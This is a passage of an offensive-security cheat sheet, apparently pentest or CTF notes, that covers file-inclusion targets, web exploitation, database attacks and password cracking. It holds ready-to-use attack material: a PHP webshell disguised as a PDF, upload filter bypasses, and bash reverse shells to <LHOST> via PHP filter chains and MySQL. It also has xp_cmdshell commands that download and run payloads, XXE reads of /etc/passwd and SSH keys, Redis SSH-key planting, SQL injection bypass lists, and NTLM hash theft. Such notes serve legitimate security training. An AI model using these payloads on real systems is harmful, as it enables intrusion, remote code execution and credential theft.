/usr/local/cpanel/logs/access_log
/usr/local/cpanel/logs/error_log
/usr/local/cpanel/logs/license_log
/usr/local/cpanel/logs/login_log
/usr/local/cpanel/logs/stats_log
/usr/local/etc/httpd/logs/access_log
/usr/local/etc/httpd/logs/error_log
/usr/local/etc/php.ini
/usr/local/etc/pure-ftpd.conf
/usr/local/etc/pureftpd.pdb
/usr/local/lib/php.ini
/usr/local/php4/httpd.conf
/usr/local/php4/httpd.conf.php
/usr/local/php4/lib/php.ini
/usr/local/php5/httpd.conf
/usr/local/php5/httpd.conf.php
/usr/local/php5/lib/php.ini
/usr/local/php/httpd.conf
/usr/local/php/httpd.conf.ini
/usr/local/php/lib/php.ini
/usr/local/pureftpd/etc/pure-ftpd.conf
/usr/local/pureftpd/etc/pureftpd.pdn
/usr/local/pureftpd/sbin/pure-config.pl
/usr/local/www/logs/httpd_log
/usr/local/Zend/etc/php.ini
/usr/sbin/pure-config.pl
/var/adm/log/xferlog
/var/apache2/config.inc
/var/apache/logs/access_log
/var/apache/logs/error_log
/var/cpanel/cpanel.config
/var/lib/mysql/my.cnf
/var/lib/mysql/mysql/user.MYD
/var/local/www/conf/php.ini
/var/log/apache2/access_log
/var/log/apache2/access.log
/var/log/apache2/error_log
/var/log/apache2/error.log
/var/log/apache/access_log
/var/log/apache/access.log
/var/log/apache/error_log
/var/log/apache/error.log
/var/log/apache-ssl/access.log
/var/log/apache-ssl/error.log
/var/log/auth.log
/var/log/boot
/var/htmp
/var/log/chttp.log
/var/log/cups/error.log
/var/log/daemon.log
/var/log/debug
/var/log/dmesg
/var/log/dpkg.log
/var/log/exim_mainlog
/var/log/exim/mainlog
/var/log/exim_paniclog
/var/log/exim.paniclog
/var/log/exim_rejectlog
/var/log/exim/rejectlog
/var/log/faillog
/var/log/ftplog
/var/log/ftp-proxy
/var/log/ftp-proxy/ftp-proxy.log
/var/log/httpd-access.log
/var/log/httpd/access_log
/var/log/httpd/access.log
/var/log/httpd/error_log
/var/log/httpd/error.log
/var/log/httpsd/ssl.access_log
/var/log/httpsd/ssl_log
/var/log/kern.log
/var/log/lastlog
/var/log/lighttpd/access.log
/var/log/lighttpd/error.log
/var/log/lighttpd/lighttpd.access.log
/var/log/lighttpd/lighttpd.error.log
/var/log/mail.info
/var/log/mail.log
/var/log/maillog
/var/log/mail.warn
/var/log/message
/var/log/messages
/var/log/mysqlderror.log
/var/log/mysql.log
/var/log/mysql/mysql-bin.log
/var/log/mysql/mysql.log
/var/log/mysql/mysql-slow.log
/var/log/proftpd
/var/log/pureftpd.log
/var/log/pure-ftpd/pure-ftpd.log
/var/log/secure
/var/log/vsftpd.log
/var/log/wtmp
/var/log/xferlog
/var/log/yum.log
/var/mysql.log
/var/run/utmp
/var/spool/cron/crontabs/root
/var/webmin/miniserv.log
/var/www/html<VHOST>/__init__.py
/var/www/html/db_connect.php
/var/www/html/utils.php
/var/www/log/access_log
/var/www/log/error_log
/var/www/logs/access_log
/var/www/logs/error_log
/var/www/logs/access.log
/var/www/logs/error.log
~/.atfp_history
~/.bash_history
~/.bash_logout
~/.bash_profile
~/.bashrc
~/.gtkrc
~/.login
~/.logout
~/.mysql_history
~/.nano_history
~/.php_history
~/.profile
~/.ssh/authorized_keys
~/.ssh/id_dsa
~/.ssh/id_dsa.pub
~/.ssh/id_rsa
~/.ssh/id_rsa.pub
~/.ssh/identity
~/.ssh/identity.pub
~/.viminfo
~/.wm_style
~/.Xdefaults
~/.xinitrc
~/.Xresources
~/.xsession

Windows Files

C:/Users/Administrator/NTUser.dat
C:/Documents and Settings/Administrator/NTUser.dat
C:/apache/logs/access.log
C:/apache/logs/error.log
C:/apache/php/php.ini
C:/boot.ini
C:/inetpub/wwwroot/global.asa
C:/MySQL/data/hostname.err
C:/MySQL/data/mysql.err
C:/MySQL/data/mysql.log
C:/MySQL/my.cnf
C:/MySQL/my.ini
C:/php4/php.ini
C:/php5/php.ini
C:/php/php.ini
C:/Program Files/Apache Group/Apache2/conf/httpd.conf
C:/Program Files/Apache Group/Apache/conf/httpd.conf
C:/Program Files/Apache Group/Apache/logs/access.log
C:/Program Files/Apache Group/Apache/logs/error.log
C:/Program Files/FileZilla Server/FileZilla Server.xml
C:/Program Files/MySQL/data/hostname.err
C:/Program Files/MySQL/data/mysql-bin.log
C:/Program Files/MySQL/data/mysql.err
C:/Program Files/MySQL/data/mysql.log
C:/Program Files/MySQL/my.ini
C:/Program Files/MySQL/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/data/hostname.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql-bin.log
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.err
C:/Program Files/MySQL/MySQL Server 5.0/data/mysql.log
C:/Program Files/MySQL/MySQL Server 5.0/my.cnf
C:/Program Files/MySQL/MySQL Server 5.0/my.ini
C:/Program Files (x86)/Apache Group/Apache2/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/httpd.conf
C:/Program Files (x86)/Apache Group/Apache/conf/access.log
C:/Program Files (x86)/Apache Group/Apache/conf/error.log
C:/Program Files (x86)/FileZilla Server/FileZilla Server.xml
C:/Program Files (x86)/xampp/apache/conf/httpd.conf
C:/WINDOWS/php.ini
C:/WINDOWS/Repair/SAM
C:/Windows/repair/system
C:/Windows/repair/software
C:/Windows/repair/security
C:/WINDOWS/System32/drivers/etc/hosts
C:/Windows/win.ini
C:/WINNT/php.ini
C:/WINNT/win.ini
C:/xampp/apache/bin/php.ini
C:/xampp/apache/logs/access.log
C:/xampp/apache/logs/error.log
C:/Windows/Panther/Unattend/Unattended.xml
C:/Windows/Panther/Unattended.xml
C:/Windows/debug/NetSetup.log
C:/Windows/system32/config/AppEvent.Evt
C:/Windows/system32/config/SecEvent.Evt
C:/Windows/system32/config/default.sav
C:/Windows/system32/config/security.sav
C:/Windows/system32/config/software.sav
C:/Windows/system32/config/system.sav
C:/Windows/system32/config/regback/default
C:/Windows/system32/config/regback/sam
C:/Windows/system32/config/regback/security
C:/Windows/system32/config/regback/system
C:/Windows/system32/config/regback/software
C:/Program Files/MySQL/MySQL Server 5.1/my.ini
C:/Windows/System32/inetsrv/config/schema/ASPNET_schema.xml
C:/Windows/System32/inetsrv/config/applicationHost.config
C:/inetpub/logs/LogFiles/W3SVC1/u_ex[YYMMDD].log

PDF PHP Inclusion

Create a file with a PDF header, which contains PHP code.

%PDF-1.4

<?php
    system($_GET["cmd"]);
?>

http://<RHOST>/index.php?page=uploads/<FILE>.pdf%00&cmd=whoami

PHP Upload Filter Bypasses

.sh
.cgi
.inc
.txt
.pht
.phtml
.phP
.Php
.php3
.php4
.php5
.php7
.pht
.phps
.phar
.phpt
.pgif
.phtml
.phtm
.php%00.jpeg

<FILE>.php%20
<FILE>.php%0d%0a.jpg
<FILE>.php%0a
<FILE>.php.jpg
<FILE>.php%00.gif
<FILE>.php\x00.gif
<FILE>.php%00.png
<FILE>.php\x00.png
<FILE>.php%00.jpg
<FILE>.php\x00.jpg
mv <FILE>.jpg <FILE>.php\x00.jpg

PHP Filter Chain Generator

https://github.com/synacktiv/php_filter_chain_generator

python3 php_filter_chain_generator.py --chain '<?= exec($_GET[0]); ?>'
python3 php_filter_chain_generator.py --chain "<?php echo shell_exec(id); ?>"
python3 php_filter_chain_generator.py --chain """<?php echo shell_exec(id); ?>"""
python3 php_filter_chain_generator.py --chain """"<?php exec(""/bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"");?>""""
python3 php_filter_chain_generator.py --chain """"<?php exec(""/bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'"");?>""""

http://<RHOST>/?page=php:https://filter/convert.base64-decode/resource=PD9waHAgZWNobyBzaGVsbF9leGVjKGlkKTsgPz4

python3 php_filter_chain_generator.py --chain '<?= exec($_GET[0]); ?>'
[+] The following gadget chain will generate the following code : <?= exec($_GET[0]); ?> (base64 value: PD89IGV4ZWMoJF9HRVRbMF0pOyA/Pg)
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|<--- SNIP --->|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php:https://temp&0=<COMMAND>

PHP Generic Gadget Chains (PHPGGC)

phpggc -u --fast-destruct Guzzle/FW1 /dev/shm/<FILE>.txt /PATH/TO/FILE/<FILE>.txt

Server-Side Request Forgery (SSRF)

https://<RHOST>/item/2?server=server.<RHOST>/file?id=9&x=

Server-Side Template Injection (SSTI)

Fuzz String

https://cobalt.io/blog/a-pentesters-guide-to-server-side-template-injection-ssti

${{<%[%'"}}%\.

Magic Payload

https:https://medium.com/@nyomanpradipta120/ssti-in-flask-jinja2-20b068fdaeee

{{ ‘’.__class__.__mro__[1].__subclasses__() }}

Upload Vulnerabilities

ASP / ASPX / PHP / PHP3 / PHP5: Webshell / Remote Code Execution
SVG: Stored XSS / Server-Side Request Forgery
GIF: Stored XSS
CSV: CSV Injection
XML: XXE
AVI: Local File Inclusion / Server-Side request Forgery
HTML/JS: HTML Injection / XSS / Open Redirect
PNG / JPEG: Pixel Flood Attack
ZIP: Remote Code Exection via Local File Inclusion
PDF / PPTX: Server-Side Request Forgery / Blind XXE

wfuzz

wfuzz -w /usr/share/wfuzz/wordlist/general/big.txt -u http://<RHOST>/FUZZ/<FILE>.php --hc '403,404'

Write to File

wfuzz -w /PATH/TO/WORDLIST -c -f <FILE> -u http://<RHOST> --hc 403,404

Custom Scan with limited Output

wfuzz -w /PATH/TO/WORDLIST -u http://<RHOST>/dev/304c0c90fbc6520610abbf378e2339d1/db/file_FUZZ.txt --sc 200 -t 20

Fuzzing two Parameters at once

wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/big.txt -u http://<RHOST>:/<directory>/FUZZ.FUZ2Z -z list,txt-php --hc 403,404 -c

Domain

wfuzz --hh 0 -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H 'Host: FUZZ.<RHOST>' -u http://<RHOST>/

Subdomain

wfuzz -w /usr/share/wordlists/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Host: FUZZ.<RHOST>" --hc 200 --hw 356 -t 100 <RHOST>

Git

wfuzz -w /usr/share/wordlists/seclists/Discovery/Web-Content/raft-medium-files-lowercase.txt -u http://<RHOST>/FUZZ --hc 403,404

Login

wfuzz -X POST -u "https://<RHOST>:<RPORT>/login.php" -d "email=FUZZ&password=<PASSWORD>" -w /PATH/TO/WORDLIST/<WORDLIST> --hc 200 -c
wfuzz -X POST -u "https://<RHOST>:<RPORT>/login.php" -d "username=FUZZ&password=<PASSWORD>" -w /PATH/TO/WORDLIST/<WORDLIST> --ss "Invalid login"

SQL

wfuzz -c -z file,/usr/share/wordlists/seclists/Fuzzing/SQLi/Generic-SQLi.txt -d 'db=FUZZ' --hl 16 http://<RHOST>/select http

DNS

wfuzz -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-110000.txt -H "Origin: https://FUZZ.<RHOST>" --filter "r.headers.response~'Access-Control-Allow-Origin'" http://<RHOST>/
wfuzz -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-110000.txt --hc 400,404,403 -H "Host: FUZZ.<RHOST>" -u http://<RHOST> -t 100
wfuzz -c -w /usr/share/wordlists/secLists/Discovery/DNS/subdomains-top1million-110000.txt --hc 400,403,404 -H "Host: FUZZ.<RHOST>" -u http://<RHOST> --hw <value> -t 100

Numbering Files

wfuzz -w /usr/share/wordlists/seclists/Fuzzing/4-digits-0000-9999.txt --hw 31 http://10.13.37.11/backups/backup_2021052315FUZZ.zip

Enumerating PIDs

wfuzz -u 'http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/FUZZ/cmdline' -z range,900-1000

WPScan

wpscan --url https://<RHOST> --enumerate u,t,p
wpscan --url https://<RHOST> --plugins-detection aggressive
wpscan --url https://<RHOST> --disable-tls-checks
wpscan --url https://<RHOST> --disable-tls-checks --enumerate u,t,p
wpscan --url http://<RHOST> -U <USERNAME> -P passwords.txt -t 50

XML External Entity (XXE)

Skeleton Payload Request

GET / HTTP/1.1
Host: <RHOST>:<RPORT>
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Length: 136

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE test [<!ENTITY xxe SYSTEM "https://<LHOST>:80/shell.php" >]>
<foo>&xxe;</foo>

Payloads

<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE xxe [ <!ENTITY passwd SYSTEM 'file:///etc/passwd'> ]>
 <stockCheck><productId>&passwd;</productId><storeId>1</storeId></stockCheck>

<?xml version="1.0"?><!DOCTYPE root [<!ENTITY test SYSTEM 'file:///c:/windows/win.ini'>]><order><quantity>3</quantity><item>&test;</item><address>17th Estate, CA</address></order>

username=%26username%3b&version=1.0.0--><!DOCTYPE+username+[+<!ENTITY+username+SYSTEM+"/root/.ssh/id_rsa">+]><!--

Database Analysis

impacket-mssqlclient

Common Commands

enum_logins
enum_impersonate

Connection

impacket-mssqlclient <USERNAME>@<RHOST>
impacket-mssqlclient <USERNAME>@<RHOST> -windows-auth
impacket-mssqlclient -k -no-pass <RHOST>
impacket-mssqlclient <RHOST>/<USERNAME>:<USERNAME>@<RHOST> -windows-auth

export KRB5CCNAME=<USERNAME>.ccache
impacket-mssqlclient -k <RHOST>.<DOMAIN>

MongoDB

mongo "mongodb:https://localhost:27017"

> use <DATABASE>;
> show tables;
> show collections;
> db.system.keys.find();
> db.users.find();
> db.getUsers();
> db.getUsers({showCredentials: true});
> db.accounts.find();
> db.accounts.find().pretty();
> use admin;

User Password Reset to "12345"

> db.getCollection('users').update({username:"admin"}, { $set: {"services" : { "password" : {"bcrypt" : "$2a$10$n9CM8OgInDlwpvjLKLPML.eizXIzLlRtgCh3GRLafOdR9ldAUh/KG" } } } })

MSSQL

Connection

sqlcmd -S <RHOST> -U <USERNAME> -P '<PASSWORD>'
impacket-mssqlclient <USERNAME>:<PASSWORD>@<RHOST> -windows-auth

Common Commands

SELECT @@version;
SELECT name FROM sys.databases;
SELECT * FROM <DATABASE>.information_schema.tables;
SELECT * FROM <DATABASE>.dbo.users;

Show Database Content

1> SELECT name FROM master.sys.databases
2> go

OPENQUERY

1> select * from openquery("web\clients", 'select name from master.sys.databases');
2> go

1> select * from openquery("web\clients", 'select name from clients.sys.objects');
2> go

Binary Extraction as Base64

1> select cast((select content from openquery([web\clients], 'select * from clients.sys.assembly_files') where assembly_id = 65536) as varbinary(max)) for xml path(''), binary base64;
2> go > export.txt

Steal NetNTLM Hash / Relay Attack

SQL> exec master.dbo.xp_dirtree '\\<LHOST>\FOOBAR'

Linked SQL Server Enumeration

SQL> SELECT user_name();
SQL> SELECT name,sysadmin FROM syslogins;
SQL> SELECT srvname,isremote FROM sysservers;
SQL> EXEC ('SELECT current_user') at [<DOMAIN>\<CONFIG_FILE>];
SQL> EXEC ('SELECT srvname,isremote FROM sysservers') at [<DOMAIN>\<CONFIG_FILE>];
SQL> EXEC ('EXEC (''SELECT suser_name()'') at [<DOMAIN>\<CONFIG_FILE>]') at [<DOMAIN>\<CONFIG_FILE>];

xp_cmdshell

SQL> EXECUTE AS LOGIN = 'sa';
SQL> EXEC sp_configure 'Show Advanced Options', 1; 
SQL> RECONFIGURE; 
SQL> EXEC sp_configure 'xp_cmdshell', 1; 
SQL> RECONFIGURE;
SQL> EXEC xp_cmdshell 'dir';

SQL> EXEC sp_configure 'Show Advanced Options', 1;
SQL> reconfigure;
SQL> sp_configure;
SQL> EXEC sp_configure 'xp_cmdshell', 1;
SQL> reconfigure
SQL> xp_cmdshell "whoami"

SQL> enable_xp_cmdshell
SQL> xp_cmdshell whoami

';EXEC master.dbo.xp_cmdshell 'ping <LHOST>';--
';EXEC master.dbo.xp_cmdshell 'certutil -urlcache -split -f http://<LHOST>/shell.exe C:\\Windows\temp\<FILE>.exe';--
';EXEC master.dbo.xp_cmdshell 'cmd /c C:\\Windows\\temp\\<FILE>.exe';--

MySQL

mysql -u root -p
mysql -u <USERNAME> -h <RHOST> -p

mysql> STATUS;
mysql> SHOW databases;
mysql> USE <DATABASE>;
mysql> SHOW tables;
mysql> DESCRIBE <TABLE>;
mysql> SELECT version();
mysql> SELECT system_user();
mysql> SELECT * FROM Users;
mysql> SELECT * FROM users \G;
mysql> SELECT Username,Password FROM Users;
musql> SELECT user, authentication_string FROM mysql.user WHERE user = '<USERNAME>';
mysql> SELECT LOAD_FILE('/etc/passwd');
mysql> SELECT LOAD_FILE('C:\\PATH\\TO\\FILE\\<FILE>');
mysql> SHOW GRANTS FOR '<USERNAME>'@'localhost' \G;

Update User Password

mysql> update user set password = '37b08599d3f323491a66feabbb5b26af' where user_id = 1;

Drop a Shell

mysql> \! /bin/sh

Insert Code to get executed

mysql> insert into users (id, email) values (<LPORT>, "- E $(bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1')");

Write SSH Key into authorized_keys2 file

mysql> SELECT "<KEY>" INTO OUTFILE '/root/.ssh/authorized_keys2' FIELDS TERMINATED BY '' OPTIONALLY ENCLOSED BY '' LINES TERMINATED BY '\n';

NoSQL Injection

admin'||''==='
{"username": {"$ne": null}, "password": {"$ne": null} }

PostgreSQL

psql
psql -h <LHOST> -U <USERNAME> -c "<COMMAND>;"
psql -h <RHOST> -p 5432 -U <USERNAME> -d <DATABASE>
psql -h <RHOST> -p 5432 -U <USERNAME> -d <DATABASE>

Common Commands

postgres=# \list                     // list all databases
postgres=# \c                        // use database
postgres=# \c <DATABASE>             // use specific database
postgres=# \s                        // command history
postgres=# \q                        // quit
<DATABASE>=# \dt                     // list tables from current schema
<DATABASE>=# \dt *.*                 // list tables from all schema
<DATABASE>=# \du                     // list users roles
<DATABASE>=# \du+                    // list users roles
<DATABASE>=# SELECT user;            // get current user
<DATABASE>=# TABLE <TABLE>;          // select table
<DATABASE>=# SELECT * FROM users;    // select everything from users table
<DATABASE>=# SHOW rds.extensions;    // list installed extensions
<DATABASE>=# SELECT usename, passwd from pg_shadow;    // read credentials

Postgres Remote Code Execution

<DATABASE>=# DROP TABLE IF EXISTS cmd_exec;
<DATABASE>=# CREATE TABLE cmd_exec(cmd_output text);
<DATABASE>=# COPY cmd_exec FROM PROGRAM 'id';
<DATABASE>=# SELECT * FROM cmd_exec;
<DATABASE>=# DROP TABLE IF EXISTS cmd_exec;

Redis

> AUTH <PASSWORD>
> AUTH <USERNAME> <PASSWORD>
> INFO SERVER
> INFO keyspace
> CONFIG GET *
> SELECT <NUMBER>
> KEYS *
> HSET       // set value if a field within a hash data structure
> HGET       // retrieves a field and his value from a hash data structure
> HKEYS      // retrieves all field names from a hash data structure
> HGETALL    // retrieves all fields and values from a hash data structure
> GET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b
> SET PHPREDIS_SESSION:2a9mbvnjgd6i2qeqcubgdv8n4b "username|s:8:\"<USERNAME>\";role|s:5:\"admin\";auth|s:4:\"True\";" # the value "s:8" has to match the length of the username

Enter own SSH Key

redis-cli -h <RHOST>
echo "FLUSHALL" | redis-cli -h <RHOST>
(echo -e "\n\n"; cat ~/.ssh/id_rsa.pub; echo -e "\n\n") > /PATH/TO/FILE/<FILE>.txt
cat /PATH/TO/FILE/<FILE>.txt | redis-cli -h <RHOST> -x set s-key
<RHOST>:6379> get s-key
<RHOST>:6379> CONFIG GET dir
1) "dir"
2) "/var/lib/redis"
<RHOST>:6379> CONFIG SET dir /var/lib/redis/.ssh
OK
<RHOST>:6379> CONFIG SET dbfilename authorized_keys
OK
<RHOST>:6379> CONFIG GET dbfilename
1) "dbfilename"
2) "authorized_keys"
<RHOST>:6379> save
OK

SQL Injection

Master List

';#---              // insert everywhere! Shoutout to xsudoxx!
admin' or '1'='1
' or '1'='1
" or "1"="1
" or "1"="1"--
" or "1"="1"/*
" or "1"="1"#
" or 1=1
" or 1=1 --
" or 1=1 -
" or 1=1--
" or 1=1/*
" or 1=1#
" or 1=1-
") or "1"="1
") or "1"="1"--
") or "1"="1"/*
") or "1"="1"#
") or ("1"="1
") or ("1"="1"--
") or ("1"="1"/*
") or ("1"="1"#
) or '1`='1-

Authentication Bypass

'-'
' '
'&'
'^'
'*'
' or 1=1 limit 1 -- -+
'="or'
' or ''-'
' or '' '
' or ''&'
' or ''^'
' or ''*'
'-||0'
"-||0"
"-"
" "
"&"
"^"
"*"
'--'
"--"
'--' / "--"
" or ""-"
" or "" "
" or ""&"
" or ""^"
" or ""*"
or true--
" or true--
' or true--
") or true--
') or true--
' or 'x'='x
') or ('x')=('x
')) or (('x'))=(('x
" or "x"="x
") or ("x")=("x
")) or (("x"))=(("x
or 2 like 2
or 1=1
or 1=1--
or 1=1#
or 1=1/*
admin' --
admin' -- -
admin' #
admin'/*
admin' or '2' LIKE '1
admin' or 2 LIKE 2--
admin' or 2 LIKE 2#
admin') or 2 LIKE 2#
admin') or 2 LIKE 2--
admin') or ('2' LIKE '2
admin') or ('2' LIKE '2'#
admin') or ('2' LIKE '2'/*
admin' or '1'='1
admin' or '1'='1'--
admin' or '1'='1'#
admin' or '1'='1'/*
admin'or 1=1 or ''='
admin' or 1=1
admin' or 1=1--
admin' or 1=1#
admin' or 1=1/*
admin') or ('1'='1
admin') or ('1'='1'--
admin') or ('1'='1'#
admin') or ('1'='1'/*
admin') or '1'='1
admin') or '1'='1'--
admin') or '1'='1'#
admin') or '1'='1'/*
1234 ' AND 1=0 UNION ALL SELECT 'admin', '81dc9bdb52d04dc20036dbd8313ed055
admin" --
admin';-- azer
admin" #
admin"/*
admin" or "1"="1
admin" or "1"="1"--
admin" or "1"="1"#
admin" or "1"="1"/*
admin"or 1=1 or ""="
admin" or 1=1
admin" or 1=1--
admin" or 1=1#
admin" or 1=1/*
admin") or ("1"="1
admin") or ("1"="1"--
admin") or ("1"="1"#
admin") or ("1"="1"/*
admin") or "1"="1
admin") or "1"="1"--
admin") or "1"="1"#
admin") or "1"="1"/*
1234 " AND 1=0 UNION ALL SELECT "admin", "81dc9bdb52d04dc20036dbd8313ed055

Common Injections

MySQL & MariaDB

Get Number of Columns

-1 order by 3;#

Get Version

-1 union select 1,2,version();#

Get Database Name

-1 union select 1,2,database();#

Get Table Name

-1 union select 1,2, group_concat(table_name) from information_schema.tables where table_schema="<DATABASE>";#

Get Column Name

-1 union select 1,2, group_concat(column_name) from information_schema.columns where table_schema="<DATABASE>" and table_name="<TABLE>";#

Read a File

SELECT LOAD_FILE('/etc/passwd')

Dump Data

-1 union select 1,2, group_concat(<COLUMN>) from <DATABASE>.<TABLE>;#

Create Webshell

LOAD_FILE('/etc/httpd/conf/httpd.conf')
select "<?php system($_GET['cmd']);?>" into outfile "/var/www/html/<FILE>.php";

or

LOAD_FILE('/etc/httpd/conf/httpd.conf')
' UNION SELECT "<?php system($_GET['cmd']);?>", null, null, null, null INTO OUTFILE "/var/www/html/<FILE>.php" -- //

MSSQL

Authentication Bypass

' or 1=1--

Get Version with Time-Based Injection

' SELECT @@version; WAITFOR DELAY '00:00:10'; —

Enable xp_cmdshell

' UNION SELECT 1, null; EXEC sp_configure 'show advanced options', 1; RECONFIGURE; EXEC sp_configure 'xp_cmdshell', 1; RECONFIGURE;--

Remote Code Execution (RCE)

' exec xp_cmdshell "powershell IEX (New-Object Net.WebClient).DownloadString('https://<LHOST>/<FILE>.ps1')" ;--

Orcale SQL

Authentication Bypass

' or 1=1--

Get Number of Columns

' order by 3--

Get Table Name

' union select null,table_name,null from all_tables--

Get Column Name

' union select null,column_name,null from all_tab_columns where table_name='<TABLE>'--

Dump Data

' union select null,PASSWORD||USER_ID||USER_NAME,null from WEB_USERS--

SQLite

Extracting Table Names

http://<RHOST>/index.php?id=-1 union select 1,2,3,group_concat(tbl_name),4 FROM sqlite_master WHERE type='table' and tbl_name NOT like 'sqlite_%'--

Extracting User Table

http://<RHOST>/index.php?id=-1 union select 1,2,3,group_concat(password),5 FROM users--

Error-based SQL Injection (SQLi)

<USERNAME>' OR 1=1 -- //

Results in:

SELECT * FROM users WHERE user_name= '<USERNAME>' OR 1=1 --

' or 1=1 in (select @@version) -- //
' OR 1=1 in (SELECT * FROM users) -- //
' or 1=1 in (SELECT password FROM users) -- //
' or 1=1 in (SELECT password FROM users WHERE username = 'admin') -- //

UNION-based SQL Injection (SQLi)

Manual Injection Steps

$query = "SELECT * FROM customers WHERE name LIKE '".$_POST["search_input"]."%'";

' ORDER BY 1-- //

%' UNION SELECT database(), user(), @@version, null, null -- //

' UNION SELECT null, null, database(), user(), @@version  -- //

' UNION SELECT null, table_name, column_name, table_schema, null FROM information_schema.columns WHERE table_schema=database() -- //

' UNION SELECT null, username, password, description, null FROM users -- //

Blind SQL Injection (SQLi)

http://<RHOST>/index.php?user=<USERNAME>' AND 1=1 -- //

http://<RHOST>/index.php?user=<USERNAME>' AND IF (1=1, sleep(3),'false') -- //

SQL Truncation Attack

'admin@<FQDN>' = 'admin@<FQDN>++++++++++++++++++++++++++++++++++++++htb'

sqlite3

sqlite3 <FILE>.db

sqlite> .tables
sqlite> PRAGMA table_info(<TABLE>);
sqlite> SELECT * FROM <TABLE>;

sqsh

sqsh -S <RHOST> -U <USERNAME>
sqsh -S '<RHOST>' -U '<USERNAME>' -P '<PASSWORD>'
sqsh -S '<RHOST>' -U '.\<USERNAME>' -P '<PASSWORD>'

List Files and Folders with xp_dirtree

EXEC master.sys.xp_dirtree N'C:\inetpub\wwwroot\',1,1;

Password Attacks

DonPAPI

DonPAPI <DOMAIN>/<USERNAME>:<PASSWORD>@<RHOST>
DonPAPI -local_auth <USERNAME>@<RHOST>
DonPAPI --hashes <LM>:<NT> <DOMAIN>/<USERNAME>@<RHOST>
DonPAPI -laps <DOMAIN>/<USERNAME>:<PASSWORD>@<RHOST>

fcrack

fcrackzip -u -D -p /PATH/TO/WORDLIST/<WORDLIST> <FILE>.zip

Group Policy Preferences (GPP)

gpp-decrypt

python3 gpp-decrypt.py -f Groups.xml
python3 gpp-decrypt.py -c edBSHOwhZLTjt/QS9FeIcJ83mjWA98gw9guKOhJOdcqh+ZGMeXOsQbCpZ3xUjTLfCuNH8pG5aSVYdYw/NglVmQ

hashcat

https://hashcat.net/hashcat/

https://hashcat.net/wiki/doku.php?id=hashcat

https://hashcat.net/cap2hashcat/

https://hashcat.net/wiki/doku.php?id=example_hashes

hashcat -m 0 md5 /PATH/TO/WORDLIST/<WORDLIST>
hashcat -m 100 sha-1 /PATH/TO/WORDLIST/<WORDLIST>
hashcat -m 1400 sha256 /PATH/TO/WORDLIST/<WORDLIST>
hashcat -m 3200 bcrypt /PATH/TO/WORDLIST/<WORDLIST>
hashcat -m 900 md4 /PATH/TO/WORDLIST/<WORDLIST>
hashcat -m 1000 ntlm /PATH/TO/WORDLIST/<WORDLIST>
hashcat -m 1800 sha512 /PATH/TO/WORDLIST/<WORDLIST>
hashcat -m 160 hmac-sha1 /PATH/TO/WORDLIST/<WORDLIST>
hashcat -a 0 -m 0 hash.txt SecLists/Passwords/xato-net-10-million-passwords-1000000.txt -O --force
hashcat -O -m 500 -a 3 -1 ?l -2 ?d -3 ?u  --force hash.txt ?3?3?1?1?1?1?2?3

hashcat --example-hashes
hashcat --help | grep -i "ntlm"

hashcat --identify --user <FILE>

/usr/share/wordlists/fasttrack.txt
/usr/share/hashcat/rules/best64.rule

Custom Rules

https://hashcat.net/wiki/doku.php?id=rule_based_attack

Add a 1 to each Password

echo \$1 > <FILE>.rule

Capitalize first character

$1
c

Add nothing, a 1 or a ! to an existing Wordlist

:
$1
$!

Rule for upper case Letter, numerical Value and special Character

$1 > appends a "1"
$2 > appends a "2"
$3 > appends a "3"
c > Capitalize the first character and lower case the rest

$1 c $!
$2 c $!
$1 $2 $3 c $!

Rule Preview

hashcat -r <FILE>.rule --stdout <FILE>.txt

Cracking ASPREPRoast Password File

hashcat -m 18200 -a 0 <FILE> <FILE>

Cracking Kerberoasting Password File

hashcat -m 13100 --force <FILE> <FILE>

Bruteforce based on the Pattern

hashcat -a3 -m0 mantas?d?d?d?u?u?u --force --potfile-disable --stdout

Generate Password Candidates: Wordlist + Pattern

hashcat -a6 -m0 "e99a18c428cb38d5f260853678922e03" yourPassword|/PATH/TO/WORDLIST/<WORDLIST> ?d?d?d?u?u?u --force --potfile-disable --stdout

Generate NetNLTMv2 with internalMonologue and crack with hashcat

InternalMonologue.exe -Downgrade False -Restore False -Impersonate True -Verbose False -challange 002233445566778888800

Result

spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000

Crack with hashcat

hashcat -m5600 'spotless::WS01:1122334455667788:26872b3197acf1da493228ac1a54c67c:010100000000000078b063fbcce8d4012c90747792a3cbca0000000008003000300000000000000001000000002000006402330e5e71fb781eef13937448bf8b0d8bc9e2e6a1e1122fd9d690fa9178c50a0010000000000000000000000000000000000009001a0057005300300031005c00730070006f0074006c006500730073000000000000000000' -a 3 /PATH/TO/WORDLIST/<WORDLIST> --force --potfile-disable

Rules

https://github.com/NotSoSecure/password_cracking_rules/blob/master/OneRuleToRuleThemAll.rule

Cracking with OneRuleToRuleThemAll.rule

hashcat -m 3200 hash.txt -r /PATH/TO/FILE.rule

Hydra

hydra <RHOST> -l <USERNAME> -p <PASSWORD> <PROTOCOL>
